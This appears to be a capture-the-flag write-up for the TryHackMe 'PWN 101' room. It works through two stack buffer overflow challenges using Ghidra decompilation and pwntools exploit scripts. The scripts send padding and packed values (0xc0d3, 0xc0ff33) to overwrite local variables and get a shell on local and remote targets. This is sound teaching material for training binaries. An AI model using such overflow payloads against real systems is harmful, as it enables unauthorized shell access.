---
# System prepended metadata

title: PWN 101

---

# PWN 101

![](https://i.imgur.com/zO05vYN.png)
https://tryhackme.com/room/pwn101

## Challenge 1
![](https://i.imgur.com/6hKq2QG.png)

First issue  tried to run locally and se what it needs
![](https://i.imgur.com/dKRPk6Z.png)

Then lets check on binary and see what is in. I used ghidra
![](https://i.imgur.com/6xncQ8A.png)

We can see that in the code its just matter of overflow since array bound is not counted then will just need to overflow data on local_48 value to be above or equal to 60 so that we get sh shell

#### SOLUTION
```
#!/usr/bin/env python3
#@barcrange
#pip install pwn
from pwn import *

#python file.py REMOTE
if args.REMOTE:
    p = remote("xx.xx.xx.xx", 9001)
 
#python file.py LOCAL 
if args.LOCAL:
    p = process("./pwn101.pwn101")

payload = b""
payload += b"A"*60

p.sendlineafter(b"Type the required ingredients to make briyani: ", payload)
p.interactive()

```

Lets check localy if its gives sh shell
![](https://i.imgur.com/XcZwvoZ.png)

Now since locally its working lets go and check on remote and grab the flag
![](https://i.imgur.com/IZ5obTT.png)



## Challenge 2

![](https://i.imgur.com/JlV7q5A.png)

First issue tried to run locally and se what it needs
![](https://i.imgur.com/JLedSTd.png)

Then lets check on binary and see what is in. I used ghidra
![](https://i.imgur.com/qVy5Qps.png)

In this we can see that we have to overflow 104 characters from local_78 then we can see on line 15 we need to add and bypass ``if ((local_c == 0xc0ff33) && (local_10 == 0xc0d3)) ``


#### SOLUTION
```
#!/usr/bin/env python3

#@barcrange
#pip install pwn
from pwn import *

#python file.py REMOTE
if args.REMOTE:
    p = remote("xx.xx.xx.xx", 9002)
 
#python file.py LOCAL 
if args.LOCAL:
    p = process("./pwn102.pwn102")

payload = b""
payload += b"A"*104
payload += p32(0xc0d3)
payload += p32(0xc0ff33)

print("Payload used is :")
print(payload)

p.sendlineafter(b"Am I right? ", payload)
p.interactive()

```

Lets check localy if its gives sh shell
![](https://i.imgur.com/13e5e1a.png)

Now since locally its working lets go and check on remote and grab the flag
![](https://i.imgur.com/aWqPdJ4.png)
